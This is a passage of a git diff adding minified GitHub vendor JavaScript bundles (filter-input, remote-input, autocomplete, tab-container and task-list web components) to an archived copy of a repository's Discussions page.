x(this.lines,this.content,this.characterDelay,this.lineDelay),this.cursor&&(this.cursor.hidden=!0),this.dispatchEvent(new CustomEvent("typing:complete",{bubbles:!0,cancelable:!0}))}get content(){return this.querySelector('[data-target="typing-effect.content"]')}get cursor(){return this.querySelector('[data-target="typing-effect.cursor"]')}get lines(){const S=this.getAttribute("data-lines");try{return S?JSON.parse(S):[]}catch{return[]}}get prefersReducedMotion(){return window.matchMedia("(prefers-reduced-motion)").matches}get characterDelay(){return this.prefersReducedMotion?0:Math.max(0,Math.min(Math.floor(Number(this.getAttribute("data-character-delay"))),2147483647))||40}set characterDelay(S){if(S>2147483647||S<0)throw new DOMException("Value is negative or greater than the allowed amount");this.setAttribute("data-character-delay",String(S))}get lineDelay(){return this.prefersReducedMotion?0:Math.max(0,Math.min(Math.floor(Number(this.getAttribute("data-line-delay"))),2147483647))||40}set lineDelay(S){if(S>2147483647||S<0)throw new DOMException("Value is negative or greater than the allowed amount");this.setAttribute("data-line-delay",String(S))}}c(P,"TypingEffectElement");var I=null;window.customElements.get("typing-effect")||(window.TypingEffectElement=P,window.customElements.define("typing-effect",P));async function x(W,S,B,H){for(let M=0;M{setTimeout(S,W)})}c(_,"wait")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104-58612d26affb.js.map \ No newline at end of file diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js new file mode 100644 index 0000000..1396f80 --- /dev/null +++ b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js @@ -0,0 +1,14 @@ +"use strict";(()=>{var W=Object.defineProperty;var o=(D,x)=>W(D,"name",{value:x,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed"],{13002:(D,x,M)=>{M.d(x,{Z:()=>d});class v extends HTMLElement{constructor(){super();this.currentQuery=null,this.filter=null,this.debounceInputChange=_(()=>u(this,!0)),this.boundFilterResults=()=>{u(this,!1)}}static get observedAttributes(){return["aria-owns"]}attributeChangedCallback(n,t){t&&n==="aria-owns"&&u(this,!1)}connectedCallback(){const n=this.input;!n||(n.setAttribute("autocomplete","off"),n.setAttribute("spellcheck","false"),n.addEventListener("focus",this.boundFilterResults),n.addEventListener("change",this.boundFilterResults),n.addEventListener("input",this.debounceInputChange))}disconnectedCallback(){const n=this.input;!n||(n.removeEventListener("focus",this.boundFilterResults),n.removeEventListener("change",this.boundFilterResults),n.removeEventListener("input",this.debounceInputChange))}get input(){const n=this.querySelector("input");return n instanceof HTMLInputElement?n:null}reset(){const n=this.input;n&&(n.value="",n.dispatchEvent(new Event("change",{bubbles:!0})))}}o(v,"FilterInputElement");async function u(e,n=!1){const t=e.input;if(!t)return;const a=t.value.trim(),l=e.getAttribute("aria-owns");if(!l)return;const r=document.getElementById(l);if(!r)return;const c=r.hasAttribute("data-filter-list")?r:r.querySelector("[data-filter-list]");if(!c||(e.dispatchEvent(new CustomEvent("filter-input-start",{bubbles:!0})),n&&e.currentQuery===a))return;e.currentQuery=a;const m=e.filter||S,A=c.childElementCount;let h=0,k=!1;for(const g of Array.from(c.children)){if(!(g instanceof HTMLElement))continue;const L=w(g),R=m(g,L,a);R.hideNew===!0&&(k=R.hideNew),g.hidden=!R.match,R.match&&h++}const b=r.querySelector("[data-filter-new-item]"),E=!!b&&a.length>0&&!k;b instanceof HTMLElement&&(b.hidden=!E,E&&p(b,a)),y(r,h>0||E),e.dispatchEvent(new CustomEvent("filter-input-updated",{bubbles:!0,detail:{count:h,total:A}}))}o(u,"filterResults");function S(e,n,t){return{match:n.toLowerCase().indexOf(t.toLowerCase())!==-1,hideNew:n===t}}o(S,"matchSubstring");function w(e){return((e.querySelector("[data-filter-item-text]")||e).textContent||"").trim()}o(w,"getText");function p(e,n){const t=e.querySelector("[data-filter-new-item-text]");t&&(t.textContent=n);const a=e.querySelector("[data-filter-new-item-value]");(a instanceof HTMLInputElement||a instanceof HTMLButtonElement)&&(a.value=n)}o(p,"updateNewItem");function y(e,n){const t=e.querySelector("[data-filter-empty-state]");t instanceof HTMLElement&&(t.hidden=n)}o(y,"toggleBlankslate");function _(e){let n;return function(){clearTimeout(n),n=setTimeout(()=>{clearTimeout(n),e()},300)}}o(_,"debounce");const d=v;window.customElements.get("filter-input")||(window.FilterInputElement=v,window.customElements.define("filter-input",v))},88309:(D,x,M)=>{M.d(x,{Z:()=>_});const v=new WeakMap;class u extends HTMLElement{constructor(){super();const e=w.bind(null,this,!0),n={currentQuery:null,oninput:y(e),fetch:e,controller:null};v.set(this,n)}static get observedAttributes(){return["src"]}attributeChangedCallback(e,n){n&&e==="src"&&w(this,!1)}connectedCallback(){const e=this.input;if(!e)return;e.setAttribute("autocomplete","off"),e.setAttribute("spellcheck","false");const n=v.get(this);!n||(e.addEventListener("focus",n.fetch),e.addEventListener("change",n.fetch),e.addEventListener("input",n.oninput))}disconnectedCallback(){const e=this.input;if(!e)return;const n=v.get(this);!n||(e.removeEventListener("focus",n.fetch),e.removeEventListener("change",n.fetch),e.removeEventListener("input",n.oninput))}get input(){const e=this.querySelector("input, textarea");return e instanceof HTMLInputElement||e instanceof HTMLTextAreaElement?e:null}get src(){return this.getAttribute("src")||""}set src(e){this.setAttribute("src",e)}}o(u,"RemoteInputElement");function S(){return"AbortController"in window?new AbortController:{signal:null,abort(){}}}o(S,"makeAbortController");async function w(d,e){const n=d.input;if(!n)return;const t=v.get(d);if(!t)return;const a=n.value;if(e&&t.currentQuery===a)return;t.currentQuery=a;const l=d.src;if(!l)return;const r=document.getElementById(d.getAttribute("aria-owns")||"");if(!r)return;const c=new URL(l,window.location.href),m=new URLSearchParams(c.search);m.append(d.getAttribute("param")||"q",a),c.search=m.toString(),t.controller?t.controller.abort():(d.dispatchEvent(new CustomEvent("loadstart")),d.setAttribute("loading","")),t.controller=S();let A,h="";try{A=await p(d,c.toString(),{signal:t.controller.signal,credentials:"same-origin",headers:{accept:"text/fragment+html"}}),h=await A.text(),d.removeAttribute("loading"),t.controller=null}catch(k){k.name!=="AbortError"&&(d.removeAttribute("loading"),t.controller=null);return}A&&A.ok?(r.innerHTML=h,d.dispatchEvent(new CustomEvent("remote-input-success",{bubbles:!0}))):d.dispatchEvent(new CustomEvent("remote-input-error",{bubbles:!0}))}o(w,"fetchResults");async function p(d,e,n){try{const t=await fetch(e,n);return d.dispatchEvent(new CustomEvent("load")),d.dispatchEvent(new CustomEvent("loadend")),t}catch(t){throw t.name!=="AbortError"&&(d.dispatchEvent(new CustomEvent("error")),d.dispatchEvent(new CustomEvent("loadend"))),t}}o(p,"fetchWithNetworkEvents");function y(d){let e;return function(){clearTimeout(e),e=setTimeout(()=>{clearTimeout(e),d()},300)}}o(y,"debounce");const _=u;window.customElements.get("remote-input")||(window.RemoteInputElement=u,window.customElements.define("remote-input",u))},29501:(D,x,M)=>{M.d(x,{Z:()=>u});function v(w){return Array.from(w.querySelectorAll('[role="tablist"] [role="tab"]')).filter(p=>p instanceof HTMLElement&&p.closest(w.tagName)===w)}o(v,"getTabs");class u extends HTMLElement{constructor(){super();this.addEventListener("keydown",p=>{const y=p.target;if(!(y instanceof HTMLElement)||y.closest(this.tagName)!==this||y.getAttribute("role")!=="tab"&&!y.closest('[role="tablist"]'))return;const _=v(this),d=_.indexOf(_.find(e=>e.matches('[aria-selected="true"]')));if(p.code==="ArrowRight"){let e=d+1;e>=_.length&&(e=0),S(this,e)}else if(p.code==="ArrowLeft"){let e=d-1;e<0&&(e=_.length-1),S(this,e)}else p.code==="Home"?(S(this,0),p.preventDefault()):p.code==="End"&&(S(this,_.length-1),p.preventDefault())}),this.addEventListener("click",p=>{const y=v(this);if(!(p.target instanceof Element)||p.target.closest(this.tagName)!==this)return;const _=p.target.closest('[role="tab"]');if(!(_ instanceof HTMLElement)||!_.closest('[role="tablist"]'))return;const d=y.indexOf(_);S(this,d)})}connectedCallback(){for(const p of v(this))p.hasAttribute("aria-selected")||p.setAttribute("aria-selected","false"),p.hasAttribute("tabindex")||(p.getAttribute("aria-selected")==="true"?p.setAttribute("tabindex","0"):p.setAttribute("tabindex","-1"))}}o(u,"TabContainerElement");function S(w,p){const y=v(w),_=Array.from(w.querySelectorAll('[role="tabpanel"]')).filter(t=>t.closest(w.tagName)===w),d=y[p],e=_[p];if(!!w.dispatchEvent(new CustomEvent("tab-container-change",{bubbles:!0,cancelable:!0,detail:{relatedTarget:e}}))){for(const t of y)t.setAttribute("aria-selected","false"),t.setAttribute("tabindex","-1");for(const t of _)t.hidden=!0,!t.hasAttribute("tabindex")&&!t.hasAttribute("data-tab-container-no-tabstop")&&t.setAttribute("tabindex","0");d.setAttribute("aria-selected","true"),d.setAttribute("tabindex","0"),d.focus(),e.hidden=!1,w.dispatchEvent(new CustomEvent("tab-container-changed",{bubbles:!0,detail:{relatedTarget:e}}))}}o(S,"selectTab"),window.customElements.get("tab-container")||(window.TabContainerElement=u,window.customElements.define("tab-container",u))},47142:(D,x,M)=>{M.d(x,{CD:()=>A,Gs:()=>c,m7:()=>m});var v=-1/0,u=1/0,S=-.005,w=-.005,p=-.01,y=1,_=.9,d=.8,e=.7,n=.6;function t(h){return h.toLowerCase()===h}o(t,"islower");function a(h){return h.toUpperCase()===h}o(a,"isupper");function l(h){for(var k=h.length,b=new Array(k),E="/",g=0;g1024)return v;var g=new Array(b),L=new Array(b);return r(h,k,g,L),L[b-1][E-1]}o(c,"score");function m(h,k){var b=h.length,E=k.length,g=new Array(b);if(!b||!E)return g;if(b===E){for(var L=0;L1024)return g;var R=new Array(b),O=new Array(b);r(h,k,R,O);for(var I=!1,L=b-1,T=E-1;L>=0;L--)for(;T>=0;T--)if(R[L][T]!==v&&(I||R[L][T]===O[L][T])){I=L&&T&&O[L][T]===R[L-1][T-1]+y,g[L]=T--;break}return g}o(m,"positions");function A(h,k){h=h.toLowerCase(),k=k.toLowerCase();for(var b=h.length,E=0,g=0;E{M.d(x,{Z:()=>a});var v=M(10160);class u extends CustomEvent{constructor(r,c){super(r,c);this.relatedTarget=c.relatedTarget}}o(u,"AutocompleteEvent");function S(l,r=0){let c;return function(...m){clearTimeout(c),c=window.setTimeout(()=>{clearTimeout(c),l(...m)},r)}}o(S,"debounce");const w=new WeakMap;function p(l,r){const c=new XMLHttpRequest;return c.open("GET",r,!0),c.setRequestHeader("Accept","text/fragment+html"),y(l,c)}o(p,"fragment");function y(l,r){const c=w.get(l);c&&c.abort(),w.set(l,r);const m=o(()=>w.delete(l),"clear"),A=_(r);return A.then(m,m),A}o(y,"request");function _(l){return new Promise((r,c)=>{l.onload=function(){l.status>=200&&l.status<300?r(l.responseText):c(new Error(l.responseText))},l.onerror=c,l.send()})}o(_,"send");const d=window.testScreenReaderDelay||100;class e{constructor(r,c,m,A=!1){var h;if(this.container=r,this.input=c,this.results=m,this.combobox=new v.Z(c,m),this.feedback=document.getElementById(`${this.results.id}-feedback`),this.autoselectEnabled=A,this.clearButton=document.getElementById(`${this.input.id||this.input.name}-clear`),this.clientOptions=m.querySelectorAll("[role=option]"),this.feedback&&(this.feedback.setAttribute("aria-live","polite"),this.feedback.setAttribute("aria-atomic","true")),this.clearButton&&!this.clearButton.getAttribute("aria-label")){const k=document.querySelector(`label[for="${this.input.name}"]`);this.clearButton.setAttribute("aria-label","clear:"),this.clearButton.setAttribute("aria-labelledby",`${this.clearButton.id} ${(k==null?void 0:k.id)||""}`)}this.input.getAttribute("aria-expanded")||this.input.setAttribute("aria-expanded","false"),this.results.hidden=!0,this.results.setAttribute("aria-label","results"),this.input.setAttribute("autocomplete","off"),this.input.setAttribute("spellcheck","false"),this.interactingWithList=!1,this.onInputChange=S(this.onInputChange.bind(this),300),this.onResultsMouseDown=this.onResultsMouseDown.bind(this),this.onInputBlur=this.onInputBlur.bind(this),this.onInputFocus=this.onInputFocus.bind(this),this.onKeydown=this.onKeydown.bind(this),this.onCommit=this.onCommit.bind(this),this.handleClear=this.handleClear.bind(this),this.input.addEventListener("keydown",this.onKeydown),this.input.addEventListener("focus",this.onInputFocus),this.input.addEventListener("blur",this.onInputBlur),this.input.addEventListener("input",this.onInputChange),this.results.addEventListener("mousedown",this.onResultsMouseDown),this.results.addEventListener("combobox-commit",this.onCommit),(h=this.clearButton)===null||h===void 0||h.addEventListener("click",this.handleClear)}destroy(){this.input.removeEventListener("keydown",this.onKeydown),this.input.removeEventListener("focus",this.onInputFocus),this.input.removeEventListener("blur",this.onInputBlur),this.input.removeEventListener("input",this.onInputChange),this.results.removeEventListener("mousedown",this.onResultsMouseDown),this.results.removeEventListener("combobox-commit",this.onCommit)}handleClear(r){r.preventDefault(),this.input.getAttribute("aria-expanded")==="true"&&(this.input.setAttribute("aria-expanded","false"),this.updateFeedbackForScreenReaders("Results hidden.")),this.input.value="",this.container.value="",this.input.focus(),this.input.dispatchEvent(new Event("change")),this.container.open=!1}onKeydown(r){if(r.key==="Enter"&&this.container.open&&this.autoselectEnabled){const c=this.results.children[0];c&&(r.stopPropagation(),r.preventDefault(),this.onCommit({target:c}))}if(r.key==="Escape"&&this.container.open)this.container.open=!1,r.stopPropagation(),r.preventDefault();else if(r.altKey&&r.key==="ArrowUp"&&this.container.open)this.container.open=!1,r.stopPropagation(),r.preventDefault();else if(r.altKey&&r.key==="ArrowDown"&&!this.container.open){if(!this.input.value.trim())return;this.container.open=!0,r.stopPropagation(),r.preventDefault()}}onInputFocus(){this.fetchResults()}onInputBlur(){if(this.interactingWithList){this.interactingWithList=!1;return}this.container.open=!1}onCommit({target:r}){const c=r;if(!(c instanceof HTMLElement)||(this.container.open=!1,c instanceof HTMLAnchorElement))return;const m=c.getAttribute("data-autocomplete-value")||c.textContent;this.updateFeedbackForScreenReaders(`${c.textContent||""} selected.`),this.container.value=m,m||this.updateFeedbackForScreenReaders("Results hidden.")}onResultsMouseDown(){this.interactingWithList=!0}onInputChange(){this.feedback&&this.feedback.innerHTML&&(this.feedback.innerHTML=""),this.container.removeAttribute("value"),this.fetchResults()}identifyOptions(){let r=0;for(const c of this.results.querySelectorAll('[role="option"]:not([id])'))c.id=`${this.results.id}-option-${r++}`}updateFeedbackForScreenReaders(r){setTimeout(()=>{this.feedback&&(this.feedback.innerHTML=r)},d)}fetchResults(){const r=this.input.value.trim();if(!r){this.container.open=!1;return}const c=this.container.src;if(!c)return;const m=new URL(c,window.location.href),A=new URLSearchParams(m.search.slice(1));A.append("q",r),m.search=A.toString(),this.container.dispatchEvent(new CustomEvent("loadstart")),p(this.input,m.toString()).then(h=>{this.results.innerHTML=h,this.identifyOptions();const k=this.results.querySelectorAll('[role="option"]'),b=!!k.length,E=k.length,[g]=k,L=g==null?void 0:g.textContent;this.autoselectEnabled&&L?this.updateFeedbackForScreenReaders(`${E} results. ${L} is the top result: Press Enter to activate.`):this.updateFeedbackForScreenReaders(`${E||"No"} results.`),this.container.open=b,this.container.dispatchEvent(new CustomEvent("load")),this.container.dispatchEvent(new CustomEvent("loadend"))}).catch(()=>{this.container.dispatchEvent(new CustomEvent("error")),this.container.dispatchEvent(new CustomEvent("loadend"))})}open(){!this.results.hidden||(this.combobox.start(),this.results.hidden=!1)}close(){this.results.hidden||(this.combobox.stop(),this.results.hidden=!0)}}o(e,"Autocomplete");const n=new WeakMap;class t extends HTMLElement{connectedCallback(){const r=this.getAttribute("for");if(!r)return;const c=this.querySelector("input"),m=document.getElementById(r);if(!(c instanceof HTMLInputElement)||!m)return;const A=this.getAttribute("data-autoselect")==="true";n.set(this,new e(this,c,m,A)),m.setAttribute("role","listbox")}disconnectedCallback(){const r=n.get(this);r&&(r.destroy(),n.delete(this))}get src(){return this.getAttribute("src")||""}set src(r){this.setAttribute("src",r)}get value(){return this.getAttribute("value")||""}set value(r){this.setAttribute("value",r)}get open(){return this.hasAttribute("open")}set open(r){r?this.setAttribute("open",""):this.removeAttribute("open")}static get observedAttributes(){return["open","value"]}attributeChangedCallback(r,c,m){if(c===m)return;const A=n.get(this);if(!!A)switch(r){case"open":m===null?A.close():A.open();break;case"value":m!==null&&(A.input.value=m),this.dispatchEvent(new u("auto-complete-change",{bubbles:!0,relatedTarget:A.input}));break}}}o(t,"AutocompleteElement"),window.customElements.get("auto-complete")||(window.AutocompleteElement=t,window.customElements.define("auto-complete",t));const a=t},10160:(D,x,M)=>{M.d(x,{Z:()=>u});const v=!!navigator.userAgent.match(/Macintosh/);class u{constructor(a,l){this.input=a,this.list=l,this.isComposing=!1,l.id||(l.id=`combobox-${Math.random().toString().slice(2,6)}`),this.keyboardEventHandler=r=>S(r,this),this.compositionEventHandler=r=>d(r,this),this.inputHandler=this.clearSelection.bind(this),a.setAttribute("role","combobox"),a.setAttribute("aria-controls",l.id),a.setAttribute("aria-expanded","false"),a.setAttribute("aria-autocomplete","list"),a.setAttribute("aria-haspopup","listbox")}destroy(){this.clearSelection(),this.stop(),this.input.removeAttribute("role"),this.input.removeAttribute("aria-controls"),this.input.removeAttribute("aria-expanded"),this.input.removeAttribute("aria-autocomplete"),this.input.removeAttribute("aria-haspopup")}start(){this.input.setAttribute("aria-expanded","true"),this.input.addEventListener("compositionstart",this.compositionEventHandler),this.input.addEventListener("compositionend",this.compositionEventHandler),this.input.addEventListener("input",this.inputHandler),this.input.addEventListener("keydown",this.keyboardEventHandler),this.list.addEventListener("click",w)}stop(){this.clearSelection(),this.input.setAttribute("aria-expanded","false"),this.input.removeEventListener("compositionstart",this.compositionEventHandler),this.input.removeEventListener("compositionend",this.compositionEventHandler),this.input.removeEventListener("input",this.inputHandler),this.input.removeEventListener("keydown",this.keyboardEventHandler),this.list.removeEventListener("click",w)}navigate(a=1){const l=Array.from(this.list.querySelectorAll('[aria-selected="true"]')).filter(_)[0],r=Array.from(this.list.querySelectorAll('[role="option"]')).filter(_),c=r.indexOf(l);if(c===r.length-1&&a===1||c===0&&a===-1){this.clearSelection(),this.input.focus();return}let m=a===1?0:r.length-1;if(l&&c>=0){const h=c+a;h>=0&&h0||t.offsetHeight>0)}o(_,"visible");function d(t,a){a.isComposing=t.type==="compositionstart",!!document.getElementById(a.input.getAttribute("aria-controls")||"")&&a.clearSelection()}o(d,"trackComposition");function e(t,a){n(t,a)||(t.scrollTop=a.offsetTop)}o(e,"scrollTo");function n(t,a){const l=t.scrollTop,r=l+t.clientHeight,c=a.offsetTop,m=c+a.clientHeight;return c>=l&&m<=r}o(n,"inViewport")},27034:(D,x,M)=>{M.d(x,{Z:()=>d});const v=new WeakMap,u=new IntersectionObserver(e=>{for(const n of e)if(n.isIntersecting){const{target:t}=n;if(u.unobserve(t),!(t instanceof d))return;t.loading==="lazy"&&w(t)}},{rootMargin:"0px 0px 256px 0px",threshold:.01});function S(){return new Promise(e=>setTimeout(e,0))}o(S,"task");async function w(e){return u.unobserve(e),p(e).then(function(n){const t=document.createElement("template");t.innerHTML=n;const a=document.importNode(t.content,!0);!e.dispatchEvent(new CustomEvent("include-fragment-replace",{cancelable:!0,detail:{fragment:a}}))||(e.replaceWith(a),e.dispatchEvent(new CustomEvent("include-fragment-replaced")))},function(){e.classList.add("is-error")})}o(w,"handleData");function p(e){const n=e.src;let t=v.get(e);return t&&t.src===n?t.data:(n?t=y(e):t=Promise.reject(new Error("missing src")),v.set(e,{src:n,data:t}),t)}o(p,"getData");function y(e){return S().then(()=>(e.dispatchEvent(new Event("loadstart")),e.fetch(e.request()))).then(n=>{if(n.status!==200)throw new Error(`Failed to load resource: the server responded with a status of ${n.status}`);const t=n.headers.get("Content-Type");if(!_(e.accept)&&(!t||!t.includes(e.accept?e.accept:"text/html")))throw new Error(`Failed to load resource: expected ${e.accept||"text/html"} but was ${t}`);return n.text()}).then(n=>(S().then(()=>{e.dispatchEvent(new Event("load")),e.dispatchEvent(new Event("loadend"))}),n),n=>{throw S().then(()=>{e.dispatchEvent(new Event("error")),e.dispatchEvent(new Event("loadend"))}),n})}o(y,"fetchDataWithEvents");function _(e){return e&&!!e.split(",").find(n=>n.match(/^\s*\*\/\*/))}o(_,"isWildcard");class d extends HTMLElement{static get observedAttributes(){return["src","loading"]}get src(){const n=this.getAttribute("src");if(n){const t=this.ownerDocument.createElement("a");return t.href=n,t.href}else return""}set src(n){this.setAttribute("src",n)}get loading(){return this.getAttribute("loading")==="lazy"?"lazy":"eager"}set loading(n){this.setAttribute("loading",n)}get accept(){return this.getAttribute("accept")||""}set accept(n){this.setAttribute("accept",n)}get data(){return p(this)}attributeChangedCallback(n,t){n==="src"?this.isConnected&&this.loading==="eager"&&w(this):n==="loading"&&this.isConnected&&t!=="eager"&&this.loading==="eager"&&w(this)}constructor(){super();this.attachShadow({mode:"open"}).innerHTML=` + + `}connectedCallback(){this.src&&this.loading==="eager"&&w(this),this.loading==="lazy"&&u.observe(this)}request(){const n=this.src;if(!n)throw new Error("missing src");return new Request(n,{method:"GET",credentials:"same-origin",headers:{Accept:this.accept||"text/html"}})}load(){return p(this)}fetch(n){return fetch(n)}}o(d,"IncludeFragmentElement"),window.customElements.get("include-fragment")||(window.IncludeFragmentElement=d,window.customElements.define("include-fragment",d))},40987:(D,x,M)=>{M.d(x,{Z:()=>l});const v=new WeakMap;let u=null;function S(){return!!u}o(S,"isDragging");function w(i,s,f){v.set(i,{sortStarted:s,sortFinished:f}),i.addEventListener("dragstart",_),i.addEventListener("dragenter",d),i.addEventListener("dragend",n),i.addEventListener("drop",e),i.addEventListener("dragover",t)}o(w,"sortable");function p(i,s){if(i.parentNode===s.parentNode){let f=i;for(;f;){if(f===s)return!0;f=f.previousElementSibling}}return!1}o(p,"isBefore");function y(i,s){return i.closest("task-lists")===s.closest("task-lists")}o(y,"isSameContainer");function _(i){if(i.currentTarget!==i.target)return;const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".contains-task-list");if(!f||(s.classList.add("is-ghost"),i.dataTransfer&&i.dataTransfer.setData("text/plain",(s.textContent||"").trim()),!s.parentElement))return;const C=Array.from(s.parentElement.children),F=C.indexOf(s),B=v.get(s);B&&B.sortStarted(f),u={didDrop:!1,dragging:s,dropzone:s,sourceList:f,sourceSibling:C[F+1]||null,sourceIndex:F}}o(_,"onDragStart");function d(i){if(!u)return;const s=i.currentTarget;if(s instanceof Element){if(!y(u.dragging,s)){i.stopPropagation();return}i.preventDefault(),i.dataTransfer&&(i.dataTransfer.dropEffect="move"),u.dropzone!==s&&(u.dragging.classList.add("is-dragging"),u.dropzone=s,p(u.dragging,s)?s.before(u.dragging):s.after(u.dragging))}}o(d,"onDragEnter");function e(i){if(!u)return;i.preventDefault(),i.stopPropagation();const s=i.currentTarget;if(!(s instanceof Element)||(u.didDrop=!0,!u.dragging.parentElement))return;let f=Array.from(u.dragging.parentElement.children).indexOf(u.dragging);const C=s.closest(".contains-task-list");if(!C||u.sourceIndex===f&&u.sourceList===C)return;u.sourceList===C&&u.sourceIndex{const C=f.target;C instanceof HTMLInputElement&&(!C.classList.contains("task-list-item-checkbox")||this.dispatchEvent(new CustomEvent("task-lists-check",{bubbles:!0,detail:{position:k(C),checked:C.checked}})))});const s=new MutationObserver(L.bind(null,this));a.set(this,s),s.observe(this,{childList:!0,subtree:!0}),L(this)}disconnectedCallback(){const s=a.get(this);s&&s.disconnect()}get disabled(){return this.hasAttribute("disabled")}set disabled(s){s?this.setAttribute("disabled",""):this.removeAttribute("disabled")}get sortable(){return this.hasAttribute("sortable")}set sortable(s){s?this.setAttribute("sortable",""):this.removeAttribute("sortable")}static get observedAttributes(){return["disabled"]}attributeChangedCallback(s,f,C){if(f!==C)switch(s){case"disabled":R(this);break}}}o(l,"TaskListsElement");const r=document.createElement("template");r.innerHTML=` + + + `;const c=new WeakMap;function m(i){if(c.get(i))return;c.set(i,!0);const s=i.closest("task-lists");if(!(s instanceof l)||s.querySelectorAll(".task-list-item").length<=1)return;const f=r.content.cloneNode(!0),C=f.querySelector(".handle");if(i.prepend(f),!C)throw new Error("handle not found");C.addEventListener("mouseenter",P),C.addEventListener("mouseleave",H),w(i,T,q),i.addEventListener("mouseenter",A),i.addEventListener("mouseleave",h)}o(m,"initItem");function A(i){const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest("task-lists");f instanceof l&&f.sortable&&!f.disabled&&s.classList.add("hovered")}o(A,"onListItemMouseOver");function h(i){const s=i.currentTarget;s instanceof Element&&s.classList.remove("hovered")}o(h,"onListItemMouseOut");function k(i){const s=b(i);if(!s)throw new Error(".contains-task-list not found");const f=i.closest(".task-list-item"),C=Array.from(s.children).filter(B=>B.tagName==="LI"),F=f?C.indexOf(f):-1;return[O(s),F]}o(k,"position");function b(i){const s=i.parentElement;return s?s.closest(".contains-task-list"):null}o(b,"taskList");function E(i){return b(i)===g(i)}o(E,"isRootTaskList");function g(i){const s=b(i);return s?g(s)||s:null}o(g,"rootTaskList");function L(i){const s=i.querySelectorAll(".contains-task-list > .task-list-item");for(const f of s)E(f)&&m(f);R(i)}o(L,"syncState");function R(i){for(const s of i.querySelectorAll(".task-list-item"))s.classList.toggle("enabled",!i.disabled);for(const s of i.querySelectorAll(".task-list-item-checkbox"))s instanceof HTMLInputElement&&(s.disabled=i.disabled)}o(R,"syncDisabled");function O(i){const s=i.closest("task-lists");if(!s)throw new Error("parent not found");return Array.from(s.querySelectorAll("ol, ul")).indexOf(i)}o(O,"listIndex");const I=new WeakMap;function T(i){const s=i.closest("task-lists");if(!s)throw new Error("parent not found");I.set(s,Array.from(s.querySelectorAll("ol, ul")))}o(T,"onSortStart");function q({src:i,dst:s}){const f=i.list.closest("task-lists");if(!f)return;const C=I.get(f);!C||(I.delete(f),f.dispatchEvent(new CustomEvent("task-lists-move",{bubbles:!0,detail:{src:[C.indexOf(i.list),i.index],dst:[C.indexOf(s.list),s.index]}})))}o(q,"onSorted");function P(i){const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".task-list-item");if(!f)return;const C=f.closest("task-lists");C instanceof l&&C.sortable&&!C.disabled&&f.setAttribute("draggable","true")}o(P,"onHandleMouseOver");function H(i){if(S())return;const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".task-list-item");!f||f.setAttribute("draggable","false")}o(H,"onHandleMouseOut"),window.customElements.get("task-lists")||(window.TaskListsElement=l,window.customElements.define("task-lists",l))}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed-f8db72a328a9.js.map \ No newline at end of file diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_decorators_js-.js b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_decorators_js-.js new file mode 100644 index 0000000..dfb6b51 --- /dev/null +++ b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_decorators_js-.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var D=Object.defineProperty;var i=(O,F)=>D(O,"name",{value:F,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996","vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_memoize_dist_esm_index_-4f373e"],{80425:(O,F,C)=>{C.d(F,{k:()=>_});var h=function(){for(var l=new Uint32Array(256),p=256;p--;){for(var u=p,g=8;g--;)u=u&1?3988292384^u>>>1:u>>>1;l[p]=u}return function(r){var a=-1;typeof r=="string"&&(r=function(P){for(var I=P.length,T=new Array(I),M=-1;++M>>8^l[a&255^r[f]];return(a^-1)>>>0}}(),E=i(function(l){return l<0&&(l=4294967295+l+1),("0000000"+l.toString(16)).slice(-8)},"hex"),_=i(function(l,p){var u=h(l);return p?E(u):u},"crc32")},3447:(O,F,C)=>{C.d(F,{D:()=>_,P:()=>E});var h=C(46263);function E(l=0,p={}){return(u,g,r)=>{if(!r||typeof r.value!="function")throw new Error("debounce can only decorate functions");const a=r.value;r.value=(0,h.P)(a,l,p),Object.defineProperty(u,g,r)}}i(E,"throttle");function _(l=0,p={}){return(u,g,r)=>{if(!r||typeof r.value!="function")throw new Error("debounce can only decorate functions");const a=r.value;r.value=(0,h.D)(a,l,p),Object.defineProperty(u,g,r)}}i(_,"debounce")},46263:(O,F,C)=>{C.d(F,{D:()=>E,P:()=>h});function h(_,l=0,{start:p=!0,middle:u=!0,once:g=!1}={}){let r=0,a,f=!1;function A(...P){if(f)return;const I=Date.now()-r;r=Date.now(),p?(p=!1,_.apply(this,P),g&&A.cancel()):(u&&I{r=Date.now(),_.apply(this,P),g&&A.cancel()},u?l-I:l))}return i(A,"fn"),A.cancel=()=>{clearTimeout(a),f=!0},A}i(h,"throttle");function E(_,l=0,{start:p=!1,middle:u=!1,once:g=!1}={}){return h(_,l,{start:p,middle:u,once:g})}i(E,"debounce")},47142:(O,F,C)=>{C.d(F,{CD:()=>x,Gs:()=>M,m7:()=>R});var h=-1/0,E=1/0,_=-.005,l=-.005,p=-.01,u=1,g=.9,r=.8,a=.7,f=.6;function A(y){return y.toLowerCase()===y}i(A,"islower");function P(y){return y.toUpperCase()===y}i(P,"isupper");function I(y){for(var S=y.length,b=new Array(S),w="/",v=0;v1024)return h;var v=new Array(b),s=new Array(b);return T(y,S,v,s),s[b-1][w-1]}i(M,"score");function R(y,S){var b=y.length,w=S.length,v=new Array(b);if(!b||!w)return v;if(b===w){for(var s=0;s1024)return v;var e=new Array(b),n=new Array(b);T(y,S,e,n);for(var 